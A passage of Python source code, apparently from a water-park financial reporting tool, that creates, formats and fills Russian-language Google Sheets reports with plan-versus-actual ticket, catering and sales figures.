ss.prepare_mergeCells("H1:H2") ss.prepare_mergeCells("I1:K1") ss.prepare_mergeCells("L1:L2") ss.prepare_mergeCells("M1:M2") ss.prepare_mergeCells("N1:P1") ss.prepare_mergeCells("Q1:S1") ss.prepare_mergeCells("T1:V1") ss.prepare_mergeCells("W1:Y1") ss.prepare_mergeCells("Z1:AB1") ss.prepare_mergeCells("AC1:AE1") ss.prepare_mergeCells("AF1:AH1") ss.prepare_mergeCells("AI1:AK1") ss.prepare_mergeCells("AL1:AM1") ss.prepare_mergeCells("AN1:AP1") ss.prepare_mergeCells("AQ1:AQ2") ss.prepare_mergeCells("AR1:AR2") # Задание параметров группе ячеек # Жирный, по центру ss.prepare_setCellsFormat('A1:AR2', {'horizontalAlignment': 'CENTER', 'textFormat': {'bold': True}}) # ss.prepare_setCellsFormat('E4:E8', {'numberFormat': {'pattern': '[h]:mm:ss', 'type': 'TIME'}}, # fields='userEnteredFormat.numberFormat') # Заполнение таблицы ss.prepare_setValues("A1:AR2", [ [ "Дата", "День недели", "Кол-во проходов \nПЛАН", "Кол-во проходов \nФАКТ", f"Кол-во проходов \n{self.data_report} " f"{datetime.strftime(self.finreport_dict['Дата'][0] - relativedelta(years=1), '%Y')}", "Общая сумма \nПЛАН", "Общая сумма \nФАКТ", f"Общая сумма \n{self.data_report} " f"{datetime.strftime(self.finreport_dict['Дата'][0] - relativedelta(years=1), '%Y')}", "Билеты", "", "", "Депозит", "Штраф", "Термозона", "", "", "Общепит ПЛАН", "", "", "Общепит ФАКТ", "", "", f"Общепит {self.data_report} " f"{datetime.strftime(self.finreport_dict['Дата'][0] - relativedelta(years=1), '%Y')}", "", "", "Билеты КОРП", "", "", "Термозона КОРП", "", "", "Билеты РЕГ", "", "", "Термозона РЕГ", "", "", "Прочее", "", "Online Продажи", "", "", "Сумма безнал", "Сумма Biglion" ], [ "", "", "", "", "", "", "", "", "Кол-во", "Сумма", "Средний чек", "", "", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Кол-во", "Сумма", "Средний чек", "", "" ] ], "ROWS") # ss.prepare_setValues("D5:E6", [["This is D5", "This is D6"], ["This is E5", "=5+5"]], "COLUMNS") # Цвет фона ячеек ss.prepare_setCellsFormat("A1:AR2", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") # Бордер for i in range(2): for j in range(self.sheet_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # ЛИСТ 2 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание листа 2 в файле GoogleSheets...') sheetId = 1 # Ширина столбцов ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) ss.prepare_setColumnsWidth(0, 2, 105) # Объединение ячеек ss.prepare_mergeCells("A1:C1") # Задание параметров группе ячеек # Жирный, по центру ss.prepare_setCellsFormat('A1:C2', {'horizontalAlignment': 'CENTER', 'textFormat': {'bold': True}}) # ss.prepare_setCellsFormat('E4:E8', {'numberFormat': {'pattern': '[h]:mm:ss', 'type': 'TIME'}}, # fields='userEnteredFormat.numberFormat') # Заполнение таблицы ss.prepare_setValues( "A1:C2", [ ["Смайл", "", ""], ["Дата", "Кол-во", "Сумма"] ], "ROWS" ) # ss.prepare_setValues("D5:E6", [["This is D5", "This is D6"], ["This is E5", "=5+5"]], "COLUMNS") # Цвет фона ячеек ss.prepare_setCellsFormat("A1:C2", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") # Бордер for i in range(2): for j in range(self.sheet2_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # ЛИСТ 3 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание листа 3 в файле GoogleSheets...') sheetId = 2 # Ширина столбцов ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) ss.prepare_setColumnsWidth(0, 1, 100) ss.prepare_setColumnsWidth(2, 7, 120) ss.prepare_setColumnWidth(8, 65) ss.prepare_setColumnWidth(9, 120) ss.prepare_setColumnWidth(10, 100) ss.prepare_setColumnWidth(8, 65) ss.prepare_setColumnWidth(9, 120) ss.prepare_setColumnWidth(10, 100) # Объединение ячеек ss.prepare_mergeCells("A1:A2") ss.prepare_mergeCells("B1:B2") ss.prepare_mergeCells("C1:C2") ss.prepare_mergeCells("D1:D2") ss.prepare_mergeCells("E1:E2") ss.prepare_mergeCells("F1:F2") ss.prepare_mergeCells("G1:G2") ss.prepare_mergeCells("H1:H2") ss.prepare_mergeCells("I1:K1") ss.prepare_mergeCells("L1:N1") # Задание параметров группе ячеек # Жирный, по центру ss.prepare_setCellsFormat('A1:N2', {'horizontalAlignment': 'CENTER', 'textFormat': {'bold': True}}) # ss.prepare_setCellsFormat('E4:E8', {'numberFormat': {'pattern': '[h]:mm:ss', 'type': 'TIME'}}, # fields='userEnteredFormat.numberFormat') # Заполнение таблицы ss.prepare_setValues("A1:N2", [ [ "Дата", "День недели", "Кол-во проходов \nПРОГНОЗ", "Кол-во проходов \nФАКТ", "Общая сумма \nПРОГНОЗ", "Общая сумма \nФАКТ", "Средний чек \nПРОГНОЗ", "Средний чек \nФАКТ", "Общепит ПЛАН", "", "", "Пляж ПЛАН", "", "", ], [ "", "", "", "", "", "", "", "", "Кол-во", "Сумма", "Средний чек", "Трафик", "Общая сумма", "Средний чек", ] ], "ROWS") # ss.prepare_setValues("D5:E6", [["This is D5", "This is D6"], ["This is E5", "=5+5"]], "COLUMNS") # Цвет фона ячеек ss.prepare_setCellsFormat("A1:N2", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") # Бордер for i in range(2): for j in range(self.sheet3_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) # ss.runPrepared() # Заполнение таблицы 2 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение листа 2 в файле GoogleSheets...') # ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, # self.spreadsheet['sheets'][sheetId]['properties']['title']) # Заполнение строки с данными weekday_rus = [ "Понедельник", "Вторник", "Среда", "Четверг", "Пятница", "Суббота", "Воскресенье", ] start_date = datetime.strptime(f"01{self.finreport_dict['Дата'][0].strftime('%m%Y')}", '%d%m%Y') enddate = start_date + relativedelta(months=1) dateline = start_date self.sheet2_line = 3 while dateline < enddate: ss.prepare_setValues( f"A{self.sheet2_line}:N{self.sheet2_line}", [ [ datetime.strftime(dateline, '%d.%m.%Y'), weekday_rus[dateline.weekday()], "", f'=IF(OR(\'Сводный\'!A{self.sheet2_line} = "ИТОГО";LEFT(\'Сводный\'!A{self.sheet2_line}; 10) = "Выполнение");"";\'Сводный\'!D{self.sheet2_line})', "", f'=IF(OR(\'Сводный\'!A{self.sheet2_line} = "ИТОГО";LEFT(\'Сводный\'!A{self.sheet2_line}; 10) = "Выполнение");"";\'Сводный\'!G{self.sheet2_line})', f"=IFERROR(E{self.sheet2_line}/C{self.sheet2_line};0)", f"=IFERROR(F{self.sheet2_line}/D{self.sheet2_line};0)", "", "", f"=IFERROR(J{self.sheet2_line}/I{self.sheet2_line};0)", "", "", f"=IFERROR(M{self.sheet2_line}/L{self.sheet2_line};0)", ] ], "ROWS" ) # Задание форматы вывода строки ss.prepare_setCellsFormats( f"A{self.sheet2_line}:N{self.sheet2_line}", [ [ {'numberFormat': {'type': 'DATE', 'pattern': 'dd.mm.yyyy'}}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) # Цвет фона ячеек if self.sheet2_line % 2 != 0: ss.prepare_setCellsFormat(f"A{self.sheet2_line}:N{self.sheet2_line}", {"backgroundColor": functions.htmlColorToJSON("#fef8e3")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet3_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) # ss.runPrepared() self.sheet2_line += 1 dateline += timedelta(1) # ИТОГО ss.prepare_setValues( f"A{self.sheet2_line}:N{self.sheet2_line}", [ [ "ИТОГО", "", f"=SUM(C3:C{self.sheet2_line - 1})", f"=SUM(D3:D{self.sheet2_line - 1})", f"=SUM(E3:E{self.sheet2_line - 1})", f"=SUM(F3:F{self.sheet2_line - 1})", f"=IFERROR(E{self.sheet2_line}/C{self.sheet2_line};0)", f"=IFERROR(F{self.sheet2_line}/D{self.sheet2_line};0)", f"=SUM(I3:I{self.sheet2_line - 1})", f"=SUM(J3:J{self.sheet2_line - 1})", f"=IFERROR(J{self.sheet2_line}/I{self.sheet2_line};0)", f"=SUM(L3:L{self.sheet2_line - 1})", f"=SUM(M3:M{self.sheet2_line - 1})", f"=IFERROR(M{self.sheet2_line}/L{self.sheet2_line};0)", ] ], "ROWS" ) # Задание форматы вывода строки ss.prepare_setCellsFormats( f"A{self.sheet2_line}:N{self.sheet2_line}", [ [ {'numberFormat': {'type': 'DATE', 'pattern': 'dd.mm.yyyy'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, ] ] ) # Цвет фона ячеек ss.prepare_setCellsFormat(f"A{self.sheet2_line}:N{self.sheet2_line}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet3_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.sheet2_line - 1, "endRowIndex": self.sheet2_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # ЛИСТ 4 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание листа 4 в файле GoogleSheets...') sheetId = 3 # Ширина столбцов ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) ss.prepare_setColumnWidth(0, 300) ss.prepare_setColumnsWidth(1, 2, 160) ss.prepare_setValues("A1:C1", [[ '=JOIN(" ";"Итоговый отчет будет сформирован через";DATEDIF(TODAY();DATE(YEAR(TODAY());' 'MONTH(TODAY())+1;1)-1;"D");IF(MOD(DATEDIF(TODAY();DATE(YEAR(TODAY());MONTH(TODAY())+1;1)-1;' '"D");10)<5;"дня";"дней"))', "", "" ], ], "ROWS") # ss.prepare_setValues("D5:E6", [["This is D5", "This is D6"], ["This is E5", "=5+5"]], "COLUMNS") ss.prepare_setCellsFormats( f"A1:C1", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00%'}}, ] ] ) # Цвет фона ячеек ss.prepare_setCellsFormat("A1:C1", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") # Бордер i = 0 for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # ЛИСТ 5 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание листа 5 в файле GoogleSheets...') sheetId = 4 # Ширина столбцов ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) ss.prepare_setColumnWidth(0, 300) ss.prepare_setColumnsWidth(1, 2, 160) ss.prepare_setValues("A1:C1", [[ '=JOIN(" ";"Итоговый отчет платежного агента будет сформирован через";DATEDIF(TODAY();DATE(YEAR(TODAY());' 'MONTH(TODAY())+1;1)-1;"D");IF(MOD(DATEDIF(TODAY();DATE(YEAR(TODAY());MONTH(TODAY())+1;1)-1;' '"D");10)<5;"дня";"дней"))', "", "" ], ], "ROWS") # ss.prepare_setValues("D5:E6", [["This is D5", "This is D6"], ["This is E5", "=5+5"]], "COLUMNS") ss.prepare_setCellsFormats( f"A1:C1", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00%'}}, ] ] ) # Цвет фона ячеек ss.prepare_setCellsFormat("A1:C1", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") # Бордер i = 0 for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # ЛИСТ 6 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание листа 6 в файле GoogleSheets...') sheetId = 5 # Ширина столбцов ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) ss.prepare_setColumnsWidth(0, 1, 105) ss.prepare_setColumnsWidth(2, 5, 120) ss.prepare_setColumnWidth(6, 100) ss.prepare_setColumnWidth(7, 65) ss.prepare_setColumnWidth(8, 120) ss.prepare_setColumnWidth(9, 100) ss.prepare_setColumnWidth(10, 65) ss.prepare_setColumnWidth(11, 120) ss.prepare_setColumnWidth(12, 100) ss.prepare_setColumnWidth(13, 65) ss.prepare_setColumnWidth(14, 120) ss.prepare_setColumnWidth(15, 100) # Объединение ячеек ss.prepare_mergeCells("A1:A2") ss.prepare_mergeCells("B1:B2") ss.prepare_mergeCells("C1:C2") ss.prepare_mergeCells("D1:D2") ss.prepare_mergeCells("E1:E2") ss.prepare_mergeCells("F1:F2") ss.prepare_mergeCells("G1:G2") ss.prepare_mergeCells("H1:J1") ss.prepare_mergeCells("K1:M1") ss.prepare_mergeCells("N1:P1") # Задание параметров группе ячеек # Жирный, по центру ss.prepare_setCellsFormat('A1:P2', {'horizontalAlignment': 'CENTER', 'textFormat': {'bold': True}}) # ss.prepare_setCellsFormat('E4:E8', {'numberFormat': {'pattern': '[h]:mm:ss', 'type': 'TIME'}}, # fields='userEnteredFormat.numberFormat') # Заполнение таблицы ss.prepare_setValues("A1:P2", [ [ "Дата", "День недели", "Кол-во проходов\n ПЛАН", "Кол-во проходов\n ФАКТ", "Общая сумма\n ПЛАН", "Общая сумма\n ФАКТ", "Депозит", "Карты", "", "", "Услуги", "", "", "Товары", "", "", ], [ "", "", "", "", "", "", "", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", "Кол-во", "Сумма", "Средний чек", ] ], "ROWS") # ss.prepare_setValues("D5:E6", [["This is D5", "This is D6"], ["This is E5", "=5+5"]], "COLUMNS") # Цвет фона ячеек ss.prepare_setCellsFormat("A1:P2", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") # Бордер for i in range(2): for j in range(self.sheet6_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": i, "endRowIndex": i + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() self.google_doc = (self.date_from.strftime('%Y-%m'), self.spreadsheet['spreadsheetId']) self.google_links[self.google_doc[0]] = [self.google_doc[1], self.doc_version] links = [] for docid in self.google_links: links.append([docid, self.google_links[docid][0], self.google_links[docid][1]]) with open(self.list_google_docs, 'w', newline='', encoding='utf-8') as f: file = csv.writer(f, delimiter=';') for link in links: file.writerow(link) logging.info( f'{__name__}: {str(datetime.now())[:-7]}: Создана новая таблица с Id: {self.spreadsheet["spreadsheetId"]}') self.spreadsheet = self.googleservice.spreadsheets().get(spreadsheetId=self.google_doc[1], ranges=[], includeGridData=True).execute() # -------------------------------- ЗАПОЛНЕНИЕ ДАННЫМИ ------------------------------------------------ # Печать таблицы в консоль # s = '' # for line_table in spreadsheet['sheets'][0]['data'][0]['rowData']: # for cell in line_table['values']: # try: # s += cell['formattedValue'] + " | " # except KeyError: # pass # s = '' # Проверка нет ли текущей даты в таблице logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Проверка нет ли текущей даты в таблице...') self.start_line = 1 self.reprint = 2 for line_table in self.spreadsheet['sheets'][0]['data'][0]['rowData']: try: if line_table['values'][0]['formattedValue'] == datetime.strftime(self.finreport_dict['Дата'][0], '%d.%m.%Y'): if self.root.ids.report.ids.split_by_days.active: self.rewrite_google_sheet() else: self.show_dialog_variant(f'Перезаписать эту строку?', f'Строка за ' f'{datetime.strftime(self.finreport_dict["Дата"][0], "%d.%m.%Y")} ' f'уже существует в таблице!', self.rewrite_google_sheet, ) self.reprint = 0 break elif line_table['values'][0]['formattedValue'] == "ИТОГО": break else: self.start_line += 1 except KeyError: self.start_line += 1 if self.reprint: self.write_google_sheet() # width_table = len(self.spreadsheet['sheets'][0]['data'][0]['rowData'][0]['values']) return True def rewrite_google_sheet(self): """ Заполнение google-таблицы в случае, если данные уже существуют """ logging.warning(f'{__name__}: {str(datetime.now())[:-7]}: Перезапись уже существующей строки...') self.reprint = 1 self.write_google_sheet() def write_google_sheet(self): """ Заполнение google-таблицы """ # SHEET 1 # try: # while True: # time_of = (datetime.now() - self.google_kwote_timer).seconds # if time_of < 100: # logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' # f'Превышено количество запросов в API GoogleSheets. \n' # f'Программа продолжит выполнение через {100-time_of} сек...') # time.sleep(5) # else: # break # except AttributeError: # pass logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение листа 1...') sheetId = 0 ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) # Заполнение строки с данными weekday_rus = [ "Понедельник", "Вторник", "Среда", "Четверг", "Пятница", "Суббота", "Воскресенье", ] self.nex_line = self.start_line control_total_sum = sum([ self.finreport_dict['Билеты аквапарка'][1], self.finreport_dict['Термозона'][1], self.finreport_dict['Общепит'][1], self.finreport_dict['Билеты аквапарка КОРП'][1], self.finreport_dict['Прочее'][1], self.finreport_dict['Термозона КОРП'][1], self.finreport_dict['Билеты РЕГ'][1], self.finreport_dict['Термозона РЕГ'][1], self.finreport_dict['Сопутствующие товары'][1], self.finreport_dict['Депозит'][1], self.finreport_dict['Штраф'][1] ]) if self.finreport_dict['ИТОГО'][1] != control_total_sum: logging.error( f'{__name__}: {str(datetime.now())[:-7]}: Несоответствие данных: Сумма услуг не равна итоговой сумме') self.show_dialog( 'Несоответствие данных', f"Сумма услуг по группам + депозит ({control_total_sum}) не равна итоговой сумме " f"({self.finreport_dict['ИТОГО'][1]}). \n" f"Рекомендуется проверить правильно ли разделены услуги по группам." ) ss.prepare_setValues( f"A{self.nex_line}:AR{self.nex_line}", [ [ datetime.strftime(self.finreport_dict['Дата'][0], '%d.%m.%Y'), weekday_rus[self.finreport_dict['Дата'][0].weekday()], f'=\'План\'!C{self.nex_line}', f"{self.finreport_dict['Кол-во проходов'][0]}", f"{self.finreport_dict_lastyear['Кол-во проходов'][0]}", f'=\'План\'!E{self.nex_line}', f"={str(self.finreport_dict['ИТОГО'][1]).replace('.', ',')}+" f"AQ{self.nex_line}+AR{self.nex_line}+{str(self.finreport_dict['Смайл'][1]).replace('.', ',')}", f"={str(self.finreport_dict_lastyear['ИТОГО'][1]).replace('.', ',')}+" f"{str(self.finreport_dict_lastyear['Online Продажи'][1]).replace('.', ',')}", self.finreport_dict['Билеты аквапарка'][0], self.finreport_dict['Билеты аквапарка'][1], f"=IFERROR(J{self.nex_line}/I{self.nex_line};0)", self.finreport_dict['Депозит'][1], self.finreport_dict['Штраф'][1], self.finreport_dict['Термозона'][0], self.finreport_dict['Термозона'][1], f"=IFERROR(O{self.nex_line}/N{self.nex_line};0)", f'=\'План\'!I{self.nex_line}', f'=\'План\'!J{self.nex_line}', f"=IFERROR(R{self.nex_line}/Q{self.nex_line};0)", self.finreport_dict['Общепит'][0] + 